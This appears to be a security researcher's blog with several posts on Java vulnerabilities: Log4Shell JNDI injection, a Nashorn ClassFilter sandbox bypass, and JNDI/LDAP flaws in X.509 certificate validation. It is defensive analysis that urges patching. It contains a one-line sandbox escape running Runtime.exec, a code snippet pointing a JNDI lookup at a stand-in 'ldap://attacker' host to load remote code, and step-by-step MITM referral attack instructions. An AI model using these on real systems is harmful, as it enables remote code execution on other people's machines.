Pure randomness

PSA: Log4Shell and the current state of JNDI injection

2021-12-10T19:00:00+00:00

The “Log4Shell” vulnerability has triggered a lot of interest in JNDI Injection exploits. Unfortunately, regarding exploitability there seems to go a bit of misinformation around. TLDR: A current Java runtime version won’t safe you. Do patch.

The Log4Shell vulnerability (CVE-2021-44228) ultimately is a quite simple JNDI Injection flaw, but in a really really bad place. Log4J will perform a JNDI lookup() while expanding placeholders in logging messages (or indirectly as parameters for formatted messages).

In a default installation there are two “interesting” protocols supported by JNDI: RMI and LDAP. In both cases a lookup() call is actually meant to return a Java object. This usually means serialized Java objects, however there is also a JNDI Reference mechanism for indirect construction through a factory. This object and factory bytecode can potentially be loaded from a remote URL codebase (read: a webserver with .class files).

For a long time for both RMI and LDAP the specified reference factory codebase was not restricted at all, a lookup call to a attacker specified JNDI RMI or LDAP name was direct remote code execution.

Starting with Java 8u121 remote codebase were no longer permitted by default for RMI (but not LDAP).

Apparently there had been a prior patch (CVE-2009-1094) for LDAP, but that was completely ineffective for the factory codebase. Therefore, LDAP names would still allow direct remote code execution for some time after the RMI patch. That “oversight” was only addressed later as CVE-2018-3149 in Java 8u191 (see https://bugzilla.redhat.com/show_bug.cgi?id=1639834).

So, up to Java 8u191 there is a direct path from a controlled JNDI lookup to remote classloading of arbitrary code. That Java version is about 3 years old.

However, exploitation does not end there. Turning back to RMI, References and object construction with factories are still supported, just remote codebases are prohibited. Michael Stepankin in https://www.veracode.com/blog/research/exploiting-jndi-injections-java describes how the Apache XBean BeanFactory can be used in a returned Reference to achieve code execution. This class has to be locally available on the targeted system, however, it is for example included in Apache Tomcat. If your application runs in Tomcat, bad luck. https://github.com/veracode-research/rogue-jndi also has another vector for WebSphere.

Also, RMI is inherently based on Java serialization and LDAP supports a special object class, deserializing a Java object from the directory to return from the lookup(). In both cases, unless a global deserialization filter is applied, JNDI injection will result in deserialization of untrusted attacker provided data. While adding a bit more complexity to the attack, in many cases this will still be exploitable for remote code execution.

Long story short: Do not rely on a current Java version to save you. Update Log4 (or remove the JNDI lookup). Disable the expansion (seems a pretty bad idea anyways).

Update (14.12): In the original post I forgot to mention CORBA/IIOP which is the third relevant JNDI protocol. Impact is very similar to RMI.

Previously on this blog:

https://mbechler.github.io/2018/11/01/Java-CVE-2018-3149/ - Oracle patching JNDI/LDAP
https://mbechler.github.io/2018/01/20/Java-CVE-2018-2633/ - Some JNDI Injection basics

Beware the Nashorn: ClassFilter gotchas

2019-03-02T12:41:24+00:00

Nashorn’s ClassFilter machanism alone is completely ineffective in preventing scripts from invoking arbitrary Java code. According to Oracle this is the intended behavior, so you probably want to avoid Nashorn for running untrusted scripts.

Since Java 8 the Java runtime has been including the Nashorn JavaScript engine, allowing developers to add JavaScript scripting to their applications.

A somewhat sane developer might assume that the ClassFilter mechanism can be used to restrict access to the Java world from scripts and thereby used for sandboxing of untrusted scripts. Enabling a ClassFilter even automatically disables all reflection functions to prevent the obvious bypass possible using them. Well, assumptions are security’s worst enemy. The secondary documentation (Nashorn User’s Guide) as well as the original ClassFilter JEP (202) hint that this might not be enough, but do not really give details and sounds more like it may be referring to a lack of control over Java code called into.

While the ClassFilter interface can prevent access to Java classes, it is not enough to run untrusted scripts securely. The ClassFilter interface is not a replacement for a security manager. Applications should still run with a security manager before evaluating scripts from untrusted sources. Class filtering provides finer control beyond what a security manager provides. For example, an application that embeds Nashorn may prevent the spawning of threads from scripts or other resource-intensive operations that may be allowed by security manager.

Having a somewhat closer look at Nashorn I had noticed that CVE-2018-3183 was being patched in Java 8u191 with some additional restrictions the engine global. This property doesn’t appear to be documented at all and provides access to the native NashornScriptEngine instance running the script.

Extra points to the developers for the sneaky way the property accessor was introduced as an afterthought:

    public static Object __noSuchProperty__(final Object self, final Object name) {
	// [...]
        if ("context".equals(nameStr)) {
            return sctxt;
        } else if ("engine".equals(nameStr)) {
            // expose "engine" variable only when there is no security manager
            // or when no class filter is set.
            if (System.getSecurityManager() == null || global.getClassFilter() == null) {
                return global.engine;
            }
        }

This even ensures that all naive attempts to remove this property will fail horribly, as when overwritten, the property can simply be unset by a script to restore it’s original value. Mitigation appears to be only possible by removing the __noSuchProperty__ handler as well.

Note that the logic, added in the security path, prevents access to engine only when there is BOTH a SecurityManager and a ClassFilter present. Reporting this to Oracle, it was stated that this is the intended behavior.

So, even after the patch for CVE-2018-3183, if there is no SecurityManager active, the engine property will be available to all scripts, even if there is a ClassFilter not allowing any access to Java classes at all.

With access to the engine property, it is pretty much game over for the sandbox:

this.engine.factory.scriptEngine.eval('java.lang.Runtime.getRuntime().exec("whatever")')

This breaks down to:

this.engine, global engine
.factory, getFactory() -> NashornScriptEngineFactory instance
.scriptEngine, getScriptEngine() creates a fresh engine instance with default (== no ClassFilter, etc..) configuration
.eval([script]), execute JavaScript code with full access to the Java world

Affected Nashorn usage resulting in sandbox bypass has been identified so far in:

Netbeans 9 Proxy PAC evaluation (CVE-2018-17191)
delight-nashorn-sandbox (fix in 0.1.20+)

Given that Oracle does not “support” isolated/sandboxed engine configurations without a SecurityManager present and there could be similar issues introduced in the future, avoiding Nashorn for such applications is advised.

Java: Finally closing the door on JNDI remote classloading [CVE-2018-3149]

2018-11-01T11:46:24+00:00

The October 2018 CPU finally also applies classpath restrictions for LDAP object loading.

While JNDI/RMI already had received a codebase restriction a while back in the January 2017 CPU (8u121,7u131), for some reason they failed to also apply that to the JNDI/LDAP subsystem. Given that I had mentioned and even exploited that in previous reports, I’m not sure why they have addressed this now and have not done so earlier. This removes some of the JNDI crazyness and is a good hardening measure.

That means that starting with Java 11.0.1 and 8u191, directly getting remote code execution from JNDI lookups and related operations should no longer be possible. What however still is possible to get a Java Deserialization from these calls (both via RMI and LDAP).

Quite a few of the marshalsec payloads use the JNDI vector to get remote code execution, these will now be degraded to escalation to Java deserialization. If there are usable gadgets available, with some more effort, this may still ultimately allow remote code execution.

Java: Exploiting your “unreachable” JRMP/RMI/JMX endpoints [CVE-2018-2800]

2018-05-21T10:58:24+00:00

Up to the April 2018 CPU (6u191, 7u181, 8u171) Java’s RMI endpoints allowed HTTP tunneling of requests. Failing to implement further restrictions on these requests it was possible to perform them as cross-origin requests from third-party websites. This makes it possible to exploit otherwise unreachable RMI endpoints.

One of the more obscure features of JRMP, which forms the basis for RMI and ultimately JMX, is an alternate transport protocol that encapsulates the message payloads in the body of HTTP POST requests. On the listener side this protocol will be automatically detected (by checking whether the message starts with POST) and request handling adjusted accordingly. In the Java standard library’s JRMP server implementation this magic was unconditionally enabled up to the April 2018 critical patch update (= 6u191, 7u181, 8u171). Support for this feature has already been removed in Java 9+.

An often overlooked security issue with such HTTP based protocols is that the web’s security model does allow websites to make certain “simple” requests to other sites, including ones on the local network and even ones only reachable on the host running the browser. Applications therefor need to make sure that no dangerous/state-changing operations can be performed with these allowed-by-default cross-origin requests. Usually this can be achieved by requiring some custom headers, content type or HTTP authentication.

And that is what the implementation failed to do, ultimately allowing any website to make requests (not accessing the responses) to the RMI/JMX endpoints you thought that were only accessible on your private network.

Despite the relatively low immediate impact, combining this issue with certain other RMI/JMX vulneratiblities you may end up with an attacker on the internet gaining code execution on one of your local systems by tricking you into visiting some malicious website. This includes a couple of deserialization attacks fixed in the past CPU releases, a topic which deserves a separate post some time, as well as possibly some older bugs that allowed direct remote classloading.

I have published some PoC code for this issue at mbechler/serjs.

Java: Possible RCEs in X.509 certificate validation [CVE-2018-2633][CVE-2017-10116]

2018-01-20T16:53:24+00:00

Executive summary, so that you don’t have a heart attack before we get into the gritty details.

CVE-2018-2633 - fixed in the January 2018 CPU - allows remote code execution under two conditions:

com.sun.security.enableAIAcaIssuers==true - which is hopefully as uncommon as a google search suggests, or

CRL checking/downloads are enabled (mostly com.sun.security.enableCRLDP==true, but also possibly other configurations) and the attacker can forge a otherwise valid/trusted certificate with an invalid CRL distribution point URL.

CVE-2017-10116 - fixed in the July 2017 CPU - possibly allowed code execution through Java deserialization for an attacker in a MITM position.

All of these apply to all regular X.509 certificate validation using Java’s built-in implementation, i.e. TLS client, TLS server (if client certificates are used), JAR verification… but only under aforementioned conditions.

JNDI - The Root of all Evil

Using JNDI is a quite dangerous game, especially if you think of it as just an LDAP client.

Crazy Feature A: The native ability to store Java objects in LDAP, including remote codebase references.

Back at Blackhat 2016 Alvaro Muñoz and Oleksandr Mirosh presented some RCE vectors through JNDI/LDAP APIs. However, they only seem to have identified issues based on Context.lookup() and Context.search() (when returningObj==true). Essentially controlling the lookup name or the directory contents in conjunction with these calls leads to both the ability to launch a Java deserialization attack (encoded objects in tree) or direct code execution (through JNDI Reference factory loading).

While JNDI/RMI in the meantime (starting with 8u121) has codebase restrictions applied for JNDI Reference loading, the same is not true for JNDI/LDAP (fun fact: at the same time there are codebase restrictions for encoded objects).

Using JNDI as a general purpose LDAP client, none of the methods mentioned above are all that common.

Crazy Feature B: Composite name lookups

If storing objects in the directory is not crazy enough, let me introduce composite name lookups. A composite name is one that has multiple components separated by /, e.g. foo/bar/whatever or as the documentation puts it “a name that spans multiple naming systems” which technically translates to multiple JNDI Contexts.

Taking a name like foo/bar/whatever it’s first component (=foo) will be used to lookup the Context which is used to handle the remainder of the name (=bar/whatever having two components).

Did I hear a lookup() in there? Yes. The intermediate Context is resolved by calling lookup() on the first component with the aforementioned consequences (code execution).

So what is the difference? That logic is invoked on pretty much any Context/DirContext method call, e.g. DirContext.getAttributes(), DirContext.search() or even Context.getNameParser() which are more common as lookup() and the likes. The following code is vulnerable

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://attacker:389/"); // <-- attacker supplied
InitialDirContext ctx = new InitialDirContext(env);
ctx.getAttributes("o=exploit/me"); // <-- attacker supplied

The name argument o=exploit/me is parsed and has more than one component.
Invokes Context.lookup() with the first component o=exploit (absolute: ldap://attacker:389/o=exploit).
The attacker’s rogue LDAP server returns a Reference result.
Object Factory is instantiated from remote codebase -> RCE.

ldapURLContextFactory handles the URL path (which is the directory name) as a single component name. Therefor the name passed in PROVIDER_URL or a full URL passed as the name to one of the context methods is not handled as composite.

For direct exploitation the attacker needs to control both the PROVIDER_URL and a name argument. If the attacker can only control the name argument the attack is still be possible from a MITM position.

The good news is that nobody thought it was a good idea to bring the same features to JNDI/DNS.

Introducing LDAPCertStore/URICertStore [CVE-2018-2633]

Java Cryptography Architecture CertStores are implementations for looking up either X.509 certificates or CRLs for validation purposes. LDAPCertStore implements lookups in LDAP directories and uses JNDI to load Certificates/CRL specified by an LDAP URI. URICertStore is a wrapper around that which also adds support for loading from HTTP URIs.

The JNDI context setup in LDAPCertStore.createInitialDirContext() looks like

String url = "ldap://" + server + ":" + port;
Hashtable<String,Object> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, url);
ctx = new InitialDirContext(env);

server and port are ultimately taken from the URICertStore’s URI.

The actual retrieval JNDI call can be found in LDAPCertStore$LDAPRequest.getValueMap()

attrs = ctx.getAttributes(name, attrIds);

name is from the URI’s path and used to be neither validated nor escaped properly.

Putting that together, accessing an URICertStore constructed from an attacker supplied URI like ldap://attacker/o=exploit/bar (which btw. is not a legal LDAP URI) ultimately resulted in remote code execution.

So where is this stuff used? Well, during X.509 certificate/PKIX path validation.

AuthorityInformationAccess: caIssuers

The AuthorityInformationAccess extension, known for specifying the location of the OCSP server, also has a record type that can be used to indicate an URI where additional intermediate CA certificates for the issuing CA can be obtained.

Java might be the only piece of software actually programmatically using that information. If the system property com.sun.security.enableAIAcaIssuers is set to true during path validation and an unknown issuer is encountered - the implementation will try to load the caIssuers to find certificates that can complete the validation path to a trusted root. Loading happens through URICertStore with the caIssuers URI.

As we haven’t established a trust path at that point, no actual validation of the certificate has taken place. An attacker can easily create a certificate with an arbitrary caIssuers location that will result in remote code execution as it is fed into the URICertStore.

In terms of vulnerabilities this is about as bad as it gets, however a google search for the required enableAIAcaIssuers setting shows very few results, indicating that this is indeed a very rare configuration.

CRLDistributionPoints

The CRLDistributionPoints extension specifies the download location for X.509 certificate revocation lists. These are loaded through URICertStore, too.

com.sun.security.enableCRLDP==true is a much more common configuration. However we are lucky in that CRL checking/download only happens after path validation. That means that for successful exploitation the attacker has to be able to obtain a certificate with a custom distribution point extension that is signed by a CA trusted by the victim. That would be pretty bad enough on it’s own - however normally not result in direct code execution. Apart from a very resourceful attacker having access to a trusted CA, systems allowing weak X.509 signatures schemes (MD5, SHA1) may be exploitable.

Some custom validator usages, e.g. as used for JAR signature validation in Java WebStart, also enable the CRL download functionality when the system property is not set.

Bonus points: JNDI cross protocol referrals [CVE-2017-10116]

Another crazy feature of JNDI/LDAP is that it allows non-LDAP URIs in LDAP referrals (that seems to be intended behavior: “The URLs are usually, but not necessarily, LDAP URLs”). These returned referral URLs are used as JNDI names, so one can return an LDAP referral pointing to an object on a RMI server.

When following referrals is enabled, an attacker controlling responses from an LDAP server, meaning either controlling an LDAP server the vicitim connects to or - in the absence of transport security - being able to MITM another LDAP connection, can trigger a connection to an arbitrary RMI server resulting in the deserialization of untrusted data.

LDAPCertStore follows referrals. In the July 2017 CPU a new referral mode LDAP_REF_FOLLOW_SCHEME was added and used in LDAPCertStore that only follows referrals to other LDAP servers. The January 2018 CPU switches to custom handling of referrals.

If CURL downloads are enabled but the attacker cannot produce a valid certificate with a custom distribution point this possibly allows for another attack from a MITM position:

Get into a MITM position between the victim and the CA’s LDAP server.
Wait/make the vicitim validate a certificate containing any ldap:// CRL distribution point. You may as well just get one from a legitimate CA.
[Depending on the revocation check settings, ensure that the OCSP check fails.]
When the victim sends it’s LDAP request for the CRL, answer with a referral to a RMI server that will return a serialized payload.

That is not fixed in general. Any JNDI/LDAP client usage that is configured to follow referrals and not using transport security is affected by that as well. One should use LDAP_REF_FOLLOW_SCHEME instead of LDAP_REF_FOLLOW for normal LDAP operation.